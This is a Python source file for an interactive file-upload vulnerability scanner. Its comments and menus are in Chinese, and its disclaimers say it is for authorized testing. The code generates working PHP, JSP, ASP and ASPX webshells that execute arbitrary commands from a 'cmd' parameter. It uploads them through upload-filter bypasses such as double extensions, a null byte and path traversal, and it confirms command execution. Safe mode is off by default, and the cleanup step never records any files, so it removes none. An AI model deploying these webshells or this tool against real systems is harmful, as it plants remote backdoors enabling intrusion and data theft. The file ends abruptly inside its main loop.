#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
高级文件上传漏洞检测系统 (Advanced File Upload Vulnerability Scanner)
用途: 授权渗透测试、安全评估、教育研究
版本: 3.1 (增强交互性版本)
特性: 智能检测、多线程、WAF绕过、图形界面、交互式向导
"""

import requests
import argparse
import sys
import os
import time
import json
import mimetypes
import re
import random
import string
import threading
from urllib.parse import urljoin, urlparse
from colorama import Fore, Style, init
from concurrent.futures import ThreadPoolExecutor, as_completed
import warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from typing import Dict, List, Tuple, Optional, Any
import tkinter as tk
from tkinter import ttk, messagebox, filedialog
import webbrowser
from datetime import datetime
import hashlib
import base64

# 禁用SSL警告
warnings.simplefilter('ignore', InsecureRequestWarning)
init(autoreset=True)

class ConfigManager:
    """配置管理器"""
    def __init__(self, config_file="scanner_config.json"):
        self.config_file = config_file
        self.config = self.load_config()
    
    def load_config(self) -> Dict[str, Any]:
        """加载配置"""
        default_config = {
            "timeout": 10,
            "threads": 5,
            "retry_count": 3,
            "delay_range": [0.5, 2.0],
            "user_agents": [
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
                "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
            ],
            "bypass_techniques": {
                "extension": True,
                "double_extension": True,
                "case": True,
                "mime": True,
                "content": True,
                "htaccess": True,
                "null_byte": True,
                "unicode": True,
                "path_traversal": True,
                "race_condition": True
            },
            "safe_mode": False,
            "auto_clean": True
        }
        
        if os.path.exists(self.config_file):
            try:
                with open(self.config_file, 'r', encoding='utf-8') as f:
                    saved_config = json.load(f)
                    default_config.update(saved_config)
            except:
                pass
        
        return default_config
    
    def save_config(self):
        """保存配置"""
        try:
            with open(self.config_file, 'w', encoding='utf-8') as f:
                json.dump(self.config, f, indent=4, ensure_ascii=False)
        except Exception as e:
            print(f"{Fore.YELLOW}配置保存失败: {e}{Style.RESET_ALL}")

class Logger:
    """增强型日志系统"""
    def __init__(self, verbose: bool = False, log_file: str = None):
        self.verbose = verbose
        self.log_file = log_file
        self.lock = threading.Lock()
        
    def log(self, message: str, level: str = "INFO", console: bool = True):
        """输出日志"""
        colors = {
            "INFO": Fore.BLUE,
            "SUCCESS": Fore.GREEN,
            "WARNING": Fore.YELLOW,
            "ERROR": Fore.RED,
            "VULN": Fore.MAGENTA,
            "DEBUG": Fore.CYAN
        }
        
        color = colors.get(level, Fore.WHITE)
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        log_line = f"[{timestamp}] [{level}] {message}"
        
        # 控制台输出
        if console:
            print(f"{color}{log_line}{Style.RESET_ALL}")
        
        # 文件日志
        if self.log_file:
            with self.lock:
                try:
                    with open(self.log_file, 'a', encoding='utf-8') as f:
                        f.write(log_line + '\n')
                except:
                    pass

class UploadEngine:
    """核心上传检测引擎"""
    
    def __init__(self, config: ConfigManager, logger: Logger):
        self.config = config
        self.logger = logger
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': random.choice(self.config.config['user_agents'])
        })
        
        # 代理设置
        proxy = self.config.config.get('proxy')
        if proxy:
            self.session.proxies = {'http': proxy, 'https': proxy}
        
        # 测试结果
        self.vulnerabilities: List[Dict] = []
        self.uploaded_files: List[Dict] = []
        self.test_results: List[Dict] = []
        
        # 自动检测的表单信息
        self.form_info: Dict[str, Any] = {}
    
    def detect_upload_form(self, url: str) -> Dict[str, Any]:
        """智能检测上传表单"""
        self.logger.log("正在分析目标页面...", "INFO")
        
        try:
            response = self.session.get(
                url, 
                timeout=self.config.config['timeout']
            )
            
            if response.status_code != 200:
                self.logger.log(f"页面访问失败: {response.status_code}", "ERROR")
                return {}
            
            # 解析表单
            form_pattern = r'<form[^>]*>(.*?)</form>'
            input_pattern = r'<input[^>]*name=["\']([^"\']+)["\'][^>]*>'
            
            forms = re.findall(form_pattern, response.text, re.DOTALL | re.IGNORECASE)
            
            if not forms:
                self.logger.log("未找到表单", "WARNING")
                return {}
            
            # 查找文件上传字段
            for form in forms:
                inputs = re.findall(input_pattern, form, re.IGNORECASE)
                file_inputs = re.findall(r'<input[^>]*type=["\']?file["\']?[^>]*name=["\']?([^"\']+)["\']?[^>]*>', 
                                       form, re.IGNORECASE)
                
                if file_inputs:
                    # 提取CSRF token
                    csrf_token = None
                    csrf_pattern = r'<input[^>]*name=["\']([^"\']*token[^"\']*)["\'][^>]*value=["\']([^"\']+)["\'][^>]*>'
                    csrf_match = re.search(csrf_pattern, form, re.IGNORECASE)
                    if csrf_match:
                        csrf_token = {csrf_match.group(1): csrf_match.group(2)}
                    
                    # 提取其他隐藏字段
                    hidden_fields = {}
                    hidden_pattern = r'<input[^>]*type=["\']?hidden["\']?[^>]*name=["\']?([^"\']+)["\']?[^>]*value=["\']?([^"\']*)["\']?[^>]*>'
                    hidden_matches = re.findall(hidden_pattern, form, re.IGNORECASE)
                    for name, value in hidden_matches:
                        hidden_fields[name] = value
                    
                    action_match = re.search(r'<form[^>]*action=["\']([^"\']+)["\']', form, re.IGNORECASE)
                    action = action_match.group(1) if action_match else ''
                    
                    self.form_info = {
                        'action': urljoin(url, action) if action else url,
                        'file_field': file_inputs[0],
                        'csrf_token': csrf_token,
                        'hidden_fields': hidden_fields,
                        'method': 'POST'
                    }
                    
                    self.logger.log(f"检测到上传字段: {file_inputs[0]}", "SUCCESS")
                    return self.form_info
            
            return {}
            
        except Exception as e:
            self.logger.log(f"表单检测失败: {str(e)}", "ERROR")
            return {}
    
    def generate_webshell(self, shell_type: str = 'php', marker: str = None) -> str:
        """生成增强型Webshell"""
        if not marker:
            marker = f"VULN_TEST_{hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"
        
        shells = {
            'php': f'''<?php
// Security Test Marker: {marker}
echo "{marker}";
if(isset($_REQUEST['cmd'])) {{
    @system($_REQUEST['cmd']);
}} elseif(isset($_REQUEST['phpinfo'])) {{
    phpinfo();
}}
?>''',
            'jsp': f'''<%@ page import="java.io.*" %>
<%
out.println("{marker}");
String cmd = request.getParameter("cmd");
if(cmd != null) {{
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while((line = br.readLine()) != null) {{
        out.println(line);
    }}
}}
%>''',
            'asp': f'''<%
Response.Write("{marker}")
If Request.QueryString("cmd") <> "" Then
    Set objShell = Server.CreateObject("WScript.Shell")
    Set objExec = objShell.Exec(Request.QueryString("cmd"))
    Response.Write(objExec.StdOut.ReadAll())
End If
%>''',
            'aspx': f'''<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {{
    Response.Write("{marker}");
    if(Request.QueryString["cmd"] != null) {{
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.UseShellExecute = false;
        p.Start();
        Response.Write(p.StandardOutput.ReadToEnd());
    }}
}}
</script>'''
        }
        
        return shells.get(shell_type, shells['php'])
    
    def create_test_file(self, filename: str, content: str, mime_type: str = None) -> Tuple:
        """创建测试文件"""
        if mime_type is None:
            mime_type = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        
        # 如果启用安全模式，使用无害内容
        if self.config.config['safe_mode']:
            content = f"<!-- Security Test File - {filename} -->"
        
        return (filename, content.encode() if isinstance(content, str) else content, mime_type)
    
    def upload_file(self, file_data: Tuple, form_field: str = None, extra_data: Dict = None) -> Dict[str, Any]:
        """执行文件上传"""
        if not form_field:
            form_field = self.form_info.get('file_field', 'file')
        
        filename, content, mime_type = file_data
        
        # 构建文件数据
        files = {form_field: (filename, content, mime_type)}
        
        # 构建表单数据
        data = extra_data or {}
        if self.form_info.get('csrf_token'):
            data.update(self.form_info['csrf_token'])
        if self.form_info.get('hidden_fields'):
            data.update(self.form_info['hidden_fields'])
        
        # 随机延迟
        delay = random.uniform(*self.config.config['delay_range'])
        time.sleep(delay)
        
        # 重试机制
        for attempt in range(self.config.config['retry_count']):
            try:
                response = self.session.post(
                    self.form_info.get('action', self.config.config.get('target_url')),
                    files=files,
                    data=data,
                    timeout=self.config.config['timeout'],
                    allow_redirects=True
                )
                
                return {
                    'success': response.status_code in [200, 201, 204],
                    'status_code': response.status_code,
                    'response': response,
                    'upload_path': self.extract_upload_path(response)
                }
                
            except requests.exceptions.RequestException as e:
                if attempt == self.config.config['retry_count'] - 1:
                    self.logger.log(f"上传失败: {str(e)}", "ERROR")
                    return {'success': False, 'error': str(e)}
                time.sleep(delay * (attempt + 1))
        
        return {'success': False}
    
    def extract_upload_path(self, response) -> Optional[str]:
        """智能提取上传路径"""
        try:
            # JSON响应
            if 'application/json' in response.headers.get('Content-Type', ''):
                data = response.json()
                for key in ['url', 'path', 'file', 'location', 'link', 'filename', 'name']:
                    if key in data:
                        return data[key]
            
            # HTML响应
            patterns = [
                r'(?:href|src|action)=["\']([^"\']+\.(?:php|jsp|asp|aspx|phtml))["\']',
                r'upload[^>]*success[^<]*<a[^>]*href=["\']([^"\']+)["\']',
                r'文件[^>]*上传[^>]*成功[^<]*<[^>]*>([^<]+)<',
                r'成功[^<]*<[^>]*>([^<]+\.(?:php|jsp|asp|aspx|phtml))<'
            ]
            
            for pattern in patterns:
                matches = re.findall(pattern, response.text, re.IGNORECASE)
                if matches:
                    return matches[0]
            
            # 响应头
            if 'Location' in response.headers:
                return response.headers['Location']
                
        except Exception as e:
            if self.logger.verbose:
                self.logger.log(f"路径提取失败: {str(e)}", "DEBUG")
        
        return None
    
    def verify_upload(self, upload_path: str, marker: str) -> Dict[str, Any]:
        """验证上传文件"""
        if not upload_path:
            return {'accessible': False, 'executable': False}
        
        try:
            # 构建完整URL
            if not upload_path.startswith('http'):
                upload_path = urljoin(self.form_info.get('action', ''), upload_path)
            
            # 访问文件
            response = self.session.get(
                upload_path,
                timeout=self.config.config['timeout']
            )
            
            accessible = response.status_code == 200
            executable = marker in response.text
            
            # 尝试命令执行测试
            if executable and not self.config.config['safe_mode']:
                cmd_test = f"{upload_path}?cmd=echo%20{marker}_CMD"
                try:
                    cmd_response = self.session.get(cmd_test, timeout=5)
                    if f"{marker}_CMD" in cmd_response.text:
                        executable = True
                except:
                    pass
            
            return {
                'accessible': accessible,
                'executable': executable,
                'response': response,
                'url': upload_path
            }
            
        except Exception as e:
            return {'accessible': False, 'executable': False, 'error': str(e)}
    
    def test_technique(self, technique_name: str, test_cases: List[Dict]) -> List[Dict]:
        """通用测试方法"""
        self.logger.log(f"开始测试: {technique_name}", "INFO")
        results = []
        
        with ThreadPoolExecutor(max_workers=self.config.config['threads']) as executor:
            future_to_case = {
                executor.submit(self.run_single_test, case): case 
                for case in test_cases
            }
            
            for future in as_completed(future_to_case):
                case = future_to_case[future]
                try:
                    result = future.result()
                    if result and result.get('vulnerable'):
                        results.append(result)
                        self.logger.log(f"发现漏洞! {result['filename']}", "VULN")
                except Exception as e:
                    self.logger.log(f"测试异常: {str(e)}", "ERROR")
        
        return results
    
    def run_single_test(self, case: Dict) -> Optional[Dict]:
        """执行单个测试用例"""
        try:
            # 生成唯一标记
            marker = f"VULN_{hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"
            
            # 创建文件
            content = self.generate_webshell(case['shell_type'], marker)
            file_data = self.create_test_file(case['filename'], content, case.get('mime_type'))
            
            # 上传
            upload_result = self.upload_file(file_data, case.get('field'))
            
            if not upload_result['success']:
                return None
            
            # 验证
            verify_result = self.verify_upload(upload_result['upload_path'], marker)
            
            if verify_result['executable']:
                return {
                    'vulnerable': True,
                    'type': case['type'],
                    'filename': case['filename'],
                    'upload_path': verify_result['url'],
                    'severity': case['severity'],
                    'technique': case['technique'],
                    'marker': marker
                }
            
            return None
            
        except Exception as e:
            if self.logger.verbose:
                self.logger.log(f"单测试失败: {str(e)}", "DEBUG")
            return None
    
    def generate_test_cases(self) -> List[Dict]:
        """生成所有测试用例"""
        cases = []
        techniques = self.config.config['bypass_techniques']
        
        # 1. 扩展名绕过
        if techniques.get('extension', True):
            for ext in ['php', 'php3', 'php4', 'php5', 'phtml', 'pht', 'jsp', 'jspx', 'asp', 'aspx']:
                cases.append({
                    'type': '扩展名绕过',
                    'filename': f'shell.{ext}',
                    'shell_type': 'php' if ext.startswith('php') else ext,
                    'mime_type': None,
                    'severity': 'CRITICAL',
                    'technique': 'extension'
                })
        
        # 2. 双扩展名
        if techniques.get('double_extension', True):
            for ext in ['jpg.php', 'png.php', 'gif.php', 'txt.php']:
                cases.append({
                    'type': '双扩展名绕过',
                    'filename': f'shell.{ext}',
                    'shell_type': 'php',
                    'mime_type': None,
                    'severity': 'CRITICAL',
                    'technique': 'double_extension'
                })
        
        # 3. 大小写绕过
        if techniques.get('case', True):
            for ext in ['PHP', 'PhP', 'pHp']:
                cases.append({
                    'type': '大小写绕过',
                    'filename': f'shell.{ext}',
                    'shell_type': 'php',
                    'mime_type': None,
                    'severity': 'HIGH',
                    'technique': 'case'
                })
        
        # 4. MIME类型绕过
        if techniques.get('mime', True):
            for mime in ['image/jpeg', 'image/png', 'image/gif']:
                cases.append({
                    'type': 'MIME类型绕过',
                    'filename': 'shell.php',
                    'shell_type': 'php',
                    'mime_type': mime,
                    'severity': 'HIGH',
                    'technique': 'mime'
                })
        
        # 5. 文件内容伪造
        if techniques.get('content', True):
            cases.append({
                'type': '文件内容绕过',
                'filename': 'shell.php',
                'shell_type': 'php',
                'mime_type': 'image/gif',
                'severity': 'CRITICAL',
                'technique': 'content'
            })
        
        # 6. Null Byte绕过
        if techniques.get('null_byte', True):
            cases.append({
                'type': 'Null Byte绕过',
                'filename': 'shell.php%00.jpg',
                'shell_type': 'php',
                'mime_type': 'image/jpeg',
                'severity': 'CRITICAL',
                'technique': 'null_byte'
            })
        
        # 7. Unicode绕过
        if techniques.get('unicode', True):
            cases.append({
                'type': 'Unicode绕过',
                'filename': 'shell.php\u200b.jpg',
                'shell_type': 'php',
                'mime_type': 'image/jpeg',
                'severity': 'HIGH',
                'technique': 'unicode'
            })
        
        # 8. 路径遍历
        if techniques.get('path_traversal', True):
            cases.append({
                'type': '路径遍历',
                'filename': '../../../shell.php',
                'shell_type': 'php',
                'mime_type': None,
                'severity': 'CRITICAL',
                'technique': 'path_traversal'
            })
        
        return cases
    
    def run_full_scan(self, target_url: str) -> Dict[str, Any]:
        """执行完整扫描"""
        self.logger.log(f"开始完整扫描: {target_url}", "INFO")
        
        # 检测表单
        form_info = self.detect_upload_form(target_url)
        if not form_info:
            self.logger.log("无法自动检测表单，使用默认配置", "WARNING")
            self.form_info = {'action': target_url, 'file_field': 'file'}
        
        # 生成测试用例
        test_cases = self.generate_test_cases()
        self.logger.log(f"生成 {len(test_cases)} 个测试用例", "INFO")
        
        # 执行测试
        all_results = []
        for technique in set(case['technique'] for case in test_cases):
            technique_cases = [c for c in test_cases if c['technique'] == technique]
            results = self.test_technique(technique, technique_cases)
            all_results.extend(results)
        
        # 清理上传的文件
        if self.config.config['auto_clean'] and not self.config.config['safe_mode']:
            self.cleanup_uploaded_files()
        
        return {
            'target': target_url,
            'total_tests': len(test_cases),
            'vulnerabilities': all_results,
            'timestamp': datetime.now().isoformat()
        }
    
    def cleanup_uploaded_files(self):
        """清理上传的测试文件"""
        self.logger.log("清理测试文件...", "INFO")
        for file_info in self.uploaded_files:
            try:
                self.session.delete(file_info['url'], timeout=5)
            except:
                pass

class ReportGenerator:
    """报告生成器"""
    
    @staticmethod
    def generate_console_report(scan_result: Dict):
        """生成控制台报告"""
        vulns = scan_result['vulnerabilities']
        
        print("\n" + "="*80)
        print(f"{Fore.CYAN}扫描报告".center(80))
        print("="*80)
        print(f"目标: {scan_result['target']}")
        print(f"时间: {scan_result['timestamp']}")
        print(f"测试用例: {scan_result['total_tests']}")
        print(f"发现漏洞: {len(vulns)}")
        print("="*80 + "\n")
        
        if not vulns:
            print(f"{Fore.GREEN}✓ 未发现文件上传漏洞{Style.RESET_ALL}")
            return
        
        # 按严重程度分组
        severity_order = {'CRITICAL': 0, 'HIGH': 1, 'MEDIUM': 2, 'LOW': 3}
        vulns.sort(key=lambda x: severity_order.get(x['severity'], 99))
        
        for vuln in vulns:
            color = Fore.RED if vuln['severity'] == 'CRITICAL' else Fore.YELLOW
            print(f"{color}[{vuln['severity']}] {vuln['type']}{Style.RESET_ALL}")
            print(f"  文件: {vuln['filename']}")
            print(f"  路径: {vuln['upload_path']}")
            print(f"  技术: {vuln['technique']}")
            print()
        
        # 修复建议
        print(f"{Fore.CYAN}修复建议:{Style.RESET_ALL}")
        suggestions = [
            "1. 实施严格的文件扩展名白名单",
            "2. 验证文件内容而非仅依赖MIME类型",
            "3. 重命名上传文件为随机字符串",
            "4. 将上传目录设置为不可执行权限",
            "5. 使用独立域名存储上传文件",
            "6. 部署WAF并配置上传防护规则",
            "7. 实施文件大小和数量限制",
            "8. 对上传文件进行病毒扫描"
        ]
        for suggestion in suggestions:
            print(f"  {suggestion}")
    
    @staticmethod
    def generate_html_report(scan_result: Dict, output_file: str):
        """生成HTML报告"""
        html_template = '''
<!DOCTYPE html>
<html>
<head>
    <title>文件上传漏洞扫描报告</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        h1 { color: #333; border-bottom: 3px solid #007bff; padding-bottom: 10px; }
        .summary { background: #e9ecef; padding: 20px; border-radius: 5px; margin: 20px 0; }
        .vuln-critical { border-left: 5px solid #dc3545; background: #f8d7da; padding: 15px; margin: 10px 0; }
        .vuln-high { border-left: 5px solid #ffc107; background: #fff3cd; padding: 15px; margin: 10px 0; }
        table { width: 100%; border-collapse: collapse; margin: 20px 0; }
        th, td { border: 1px solid #ddd; padding: 12px; text-align: left; }
        th { background: #007bff; color: white; }
        .recommendations { background: #d1ecf1; padding: 20px; border-radius: 5px; }
    </style>
</head>
<body>
    <div class="container">
        <h1>文件上传漏洞扫描报告</h1>
        <div class="summary">
            <h3>扫描摘要</h3>
            <p><strong>目标:</strong> {target}</p>
            <p><strong>时间:</strong> {timestamp}</p>
            <p><strong>测试用例:</strong> {total_tests}</p>
            <p><strong>发现漏洞:</strong> {vuln_count}</p>
        </div>
        
        <h2>漏洞详情</h2>
        {vuln_details}
        
        <div class="recommendations">
            <h3>修复建议</h3>
            <ol>
                <li>实施严格的文件扩展名白名单</li>
                <li>验证文件内容而非仅依赖MIME类型</li>
                <li>重命名上传文件为随机字符串</li>
                <li>将上传目录设置为不可执行权限</li>
                <li>使用独立域名存储上传文件</li>
                <li>部署WAF并配置上传防护规则</li>
                <li>实施文件大小和数量限制</li>
                <li>对上传文件进行病毒扫描</li>
            </ol>
        </div>
    </div>
</body>
</html>
        '''
        
        vuln_html = ""
        for vuln in scan_result['vulnerabilities']:
            severity_class = f"vuln-{vuln['severity'].lower()}"
            vuln_html += f'''
        <div class="{severity_class}">
            <h4>[{vuln['severity']}] {vuln['type']}</h4>
            <p><strong>文件:</strong> {vuln['filename']}</p>
            <p><strong>路径:</strong> <a href="{vuln['upload_path']}" target="_blank">{vuln['upload_path']}</a></p>
            <p><strong>技术:</strong> {vuln['technique']}</p>
        </div>
            '''
        
        html_content = html_template.format(
            target=scan_result['target'],
            timestamp=scan_result['timestamp'],
            total_tests=scan_result['total_tests'],
            vuln_count=len(scan_result['vulnerabilities']),
            vuln_details=vuln_html
        )
        
        with open(output_file, 'w', encoding='utf-8') as f:
            f.write(html_content)
        
        return output_file

class InteractiveCLI:
    """增强型交互式命令行界面"""
    
    def __init__(self):
        self.config = ConfigManager()
        self.logger = Logger(verbose=True, log_file="scan_log.txt")
        self.engine = UploadEngine(self.config, self.logger)
        
    def show_welcome(self):
        """显示欢迎界面"""
        banner = f"""
{Fore.CYAN}
╔══════════════════════════════════════════════════════════════════════╗
║                                                                      ║
║      Advanced File Upload Vulnerability Scanner v3.1                 ║
║      智能文件上传漏洞检测系统 (增强交互性版本)                        ║
║                                                                      ║
║      仅用于授权的安全测试和教育目的                                  ║
║                                                                      ║
╚══════════════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}
"""
        print(banner)
    
    def show_menu(self):
        """显示主菜单"""
        menu = f"""
{Fore.GREEN}请选择操作模式:{Style.RESET_ALL}
1. 快速扫描 (自动检测,默认配置)
2. 高级扫描 (自定义配置)
3. 配置向导
4. 查看历史记录
5. 风险提示与授权确认
6. 关于
7. 退出
"""
        print(menu)
    
    def get_user_input(self, prompt: str, default_value=None, input_type=str):
        """获取用户输入（带默认值和类型转换）"""
        if default_value is not None:
            prompt += f" (默认: {default_value})"
        
        while True:
            user_input = input(f"{Fore.YELLOW}{prompt}: {Style.RESET_ALL}").strip()
            
            if not user_input and default_value is not None:
                return default_value
            
            if not user_input:
                print(f"{Fore.RED}输入不能为空{Style.RESET_ALL}")
                continue
            
            if input_type == int:
                try:
                    return int(user_input)
                except ValueError:
                    print(f"{Fore.RED}请输入有效数字{Style.RESET_ALL}")
                    continue
            elif input_type == bool:
                return user_input.lower() in ['y', 'yes', 'true', '1']
            
            return user_input
    
    def quick_scan(self):
        """快速扫描"""
        print(f"\n{Fore.CYAN}=== 快速扫描模式 ==={Style.RESET_ALL}")
        
        url = self.get_user_input("请输入目标URL")
        if not url:
            print(f"{Fore.RED}URL不能为空{Style.RESET_ALL}")
            return
        
        # 确认授权
        if not self.confirm_authorization():
            return
        
        print(f"\n{Fore.CYAN}开始快速扫描...{Style.RESET_ALL}")
        result = self.engine.run_full_scan(url)
        ReportGenerator.generate_console_report(result)
        
        # 询问是否保存报告
        save = self.get_user_input("是否保存HTML报告? (y/n)", "n", bool)
        if save:
            filename = f"report_{int(time.time())}.html"
            ReportGenerator.generate_html_report(result, filename)
            print(f"{Fore.GREEN}报告已保存: {filename}{Style.RESET_ALL}")
    
    def advanced_scan(self):
        """高级扫描"""
        print(f"\n{Fore.CYAN}=== 高级扫描模式 ==={Style.RESET_ALL}")
        
        url = self.get_user_input("请输入目标URL")
        
        print(f"\n{Fore.CYAN}配置选项:{Style.RESET_ALL}")
        
        # 线程数
        threads = self.get_user_input(
            "线程数", 
            self.config.config['threads'], 
            int
        )
        self.config.config['threads'] = threads
        
        # 超时
        timeout = self.get_user_input(
            "超时时间(秒)", 
            self.config.config['timeout'], 
            int
        )
        self.config.config['timeout'] = timeout
        
        # 安全模式
        safe_mode = self.get_user_input(
            "安全模式(不上传恶意文件)? (y/n)", 
            'y' if self.config.config['safe_mode'] else 'n', 
            bool
        )
        self.config.config['safe_mode'] = safe_mode
        
        # 代理
        proxy = self.get_user_input(
            "代理地址 (留空不使用)", 
            self.config.config.get('proxy', '')
        )
        if proxy:
            self.config.config['proxy'] = proxy
            self.engine.session.proxies = {'http': proxy, 'https': proxy}
        
        # 确认授权
        if not self.confirm_authorization():
            return
        
        print(f"\n{Fore.CYAN}开始高级扫描...{Style.RESET_ALL}")
        result = self.engine.run_full_scan(url)
        ReportGenerator.generate_console_report(result)
        
        # 保存配置
        self.config.save_config()
        
        # 询问是否保存报告
        save = self.get_user_input("是否保存HTML报告? (y/n)", "y", bool)
        if save:
            filename = f"report_{int(time.time())}.html"
            ReportGenerator.generate_html_report(result, filename)
            print(f"{Fore.GREEN}报告已保存: {filename}{Style.RESET_ALL}")
    
    def config_wizard(self):
        """配置向导"""
        print(f"\n{Fore.CYAN}=== 配置向导 ==={Style.RESET_ALL}")
        
        while True:
            print(f"\n{Fore.YELLOW}当前配置:{Style.RESET_ALL}")
            print(f"线程数: {self.config.config['threads']}")
            print(f"超时: {self.config.config['timeout']}秒")
            print(f"安全模式: {'是' if self.config.config['safe_mode'] else '否'}")
            print(f"代理: {self.config.config.get('proxy', '无')}")
            print(f"自动清理: {'是' if self.config.config['auto_clean'] else '否'}")
            
            print(f"\n{Fore.YELLOW}绕过技术配置:{Style.RESET_ALL}")
            for tech, enabled in self.config.config['bypass_techniques'].items():
                status = "启用" if enabled else "禁用"
                print(f"  {tech}: {status}")
            
            print(f"\n{Fore.GREEN}配置选项:{Style.RESET_ALL}")
            print("1. 修改线程数")
            print("2. 修改超时时间")
            print("3. 切换安全模式")
            print("4. 设置代理")
            print("5. 切换自动清理")
            print("6. 配置绕过技术")
            print("7. 重置为默认配置")
            print("8. 返回主菜单")
            
            choice = self.get_user_input("请选择 [1-8]", "8", int)
            
            if choice == 1:
                threads = self.get_user_input("线程数", self.config.config['threads'], int)
                self.config.config['threads'] = threads
            elif choice == 2:
                timeout = self.get_user_input("超时时间(秒)", self.config.config['timeout'], int)
                self.config.config['timeout'] = timeout
            elif choice == 3:
                current = self.config.config['safe_mode']
                self.config.config['safe_mode'] = not current
                print(f"安全模式已{'启用' if not current else '禁用'}")
            elif choice == 4:
                proxy = self.get_user_input("代理地址 (留空清空)", self.config.config.get('proxy', ''))
                if proxy:
                    self.config.config['proxy'] = proxy
                    self.engine.session.proxies = {'http': proxy, 'https': proxy}
                else:
                    self.config.config['proxy'] = None
                    self.engine.session.proxies = {}
            elif choice == 5:
                current = self.config.config['auto_clean']
                self.config.config['auto_clean'] = not current
                print(f"自动清理已{'启用' if not current else '禁用'}")
            elif choice == 6:
                self.configure_bypass_techniques()
            elif choice == 7:
                self.config.config = self.config.load_config()
                print(f"{Fore.GREEN}已重置为默认配置{Style.RESET_ALL}")
            elif choice == 8:
                break
            else:
                print(f"{Fore.RED}无效选择{Style.RESET_ALL}")
        
        # 保存配置
        self.config.save_config()
        print(f"{Fore.GREEN}配置已保存{Style.RESET_ALL}")
    
    def configure_bypass_techniques(self):
        """配置绕过技术"""
        print(f"\n{Fore.CYAN}绕过技术配置:{Style.RESET_ALL}")
        
        for i, (tech, enabled) in enumerate(self.config.config['bypass_techniques'].items(), 1):
            status = "启用" if enabled else "禁用"
            print(f"{i}. {tech}: {status}")
        
        print(f"{len(self.config.config['bypass_techniques']) + 1}. 全部启用")
        print(f"{len(self.config.config['bypass_techniques']) + 2}. 全部禁用")
        
        choice = self.get_user_input(
            f"选择要切换的技术 [1-{len(self.config.config['bypass_techniques']) + 2}] 或回车返回", 
            None, 
            int
        )
        
        if choice is None:
            return
        
        techniques = list(self.config.config['bypass_techniques'].keys())
        if 1 <= choice <= len(techniques):
            tech = techniques[choice - 1]
            self.config.config['bypass_techniques'][tech] = not self.config.config['bypass_techniques'][tech]
            status = "启用" if self.config.config['bypass_techniques'][tech] else "禁用"
            print(f"{Fore.GREEN}{tech}已{status}{Style.RESET_ALL}")
        elif choice == len(techniques) + 1:
            for tech in techniques:
                self.config.config['bypass_techniques'][tech] = True
            print(f"{Fore.GREEN}所有技术已启用{Style.RESET_ALL}")
        elif choice == len(techniques) + 2:
            for tech in techniques:
                self.config.config['bypass_techniques'][tech] = False
            print(f"{Fore.GREEN}所有技术已禁用{Style.RESET_ALL}")
    
    def view_history(self):
        """查看历史记录"""
        print(f"\n{Fore.CYAN}=== 历史报告 ==={Style.RESET_ALL}")
        
        reports = [f for f in os.listdir('.') if f.startswith('report_') and f.endswith('.html')]
        if not reports:
            print(f"{Fore.YELLOW}暂无历史报告{Style.RESET_ALL}")
            return
        
        print(f"\n{Fore.YELLOW}发现 {len(reports)} 个报告:{Style.RESET_ALL}")
        for i, report in enumerate(reports[:20], 1):  # 限制显示前20个
            print(f"{i}. {report}")
        
        if len(reports) > 20:
            print(f"... 还有 {len(reports) - 20} 个报告")
        
        choice = self.get_user_input(
            f"输入序号打开报告 [1-{min(len(reports), 20)}] 或回车返回", 
            None, 
            int
        )
        
        if choice and 1 <= choice <= len(reports):
            try:
                webbrowser.open(reports[choice - 1])
                print(f"{Fore.GREEN}已在浏览器中打开: {reports[choice - 1]}{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.RED}打开失败: {e}{Style.RESET_ALL}")
    
    def show_risk_warning(self):
        """显示风险警告和授权确认"""
        print(f"\n{Fore.RED}=== 风险警告 ==={Style.RESET_ALL}")
        print("此工具仅用于授权的安全测试!")
        print("未经授权使用可能违反法律!")
        print("使用者需承担全部法律责任!")
        
        if self.confirm_authorization():
            print(f"{Fore.GREEN}授权确认成功{Style.RESET_ALL}")
        else:
            print(f"{Fore.YELLOW}未获得授权，无法继续{Style.RESET_ALL}")
    
    def confirm_authorization(self) -> bool:
        """确认授权"""
        print(f"\n{Fore.YELLOW}请确认您已获得目标系统的测试授权{Style.RESET_ALL}")
        confirm = self.get_user_input("输入 'I_CONFIRM' 以继续", "").upper()
        return confirm == 'I_CONFIRM'
    
    def show_about(self):
        """显示关于信息"""
        about_text = f"""
{Fore.CYAN}=== 关于本工具 ==={Style.RESET_ALL}

版本: 3.1 (增强交互性版本)
作者: 安全测试工具开发团队
用途: 授权渗透测试、安全评估、教育研究
许可证: 仅限授权使用

{Fore.YELLOW}功能特点:{Style.RESET_ALL}
• 智能表单检测
• 多种绕过技术
• 多线程扫描
• 安全模式
• 详细报告生成
• 交互式配置向导

{Fore.RED}法律声明:{Style.RESET_ALL}
此工具仅用于授权的安全测试和教育目的。
未经授权对他人系统进行测试可能违反法律。
使用者需自行承担所有法律责任。
        """
        print(about_text)
    
    def run(self):
        """运行交互式CLI"""
        self.show_welcome()
        
        while True:
            self.show_menu()
            
            try:
                choice = self.get_user_input("请选择 [1-7]", "7", int)
                
                if choice == 1:
                    self.quick_scan()
                elif choice == 2:
                    self.advanced_scan()
                elif choice == 3:
                    self.config_wizard()
                elif choice == 4:
                    self.view_history()
                elif choice == 5:
                    self.show_risk_warning()
                elif choice == 6:
                    self.show_about()
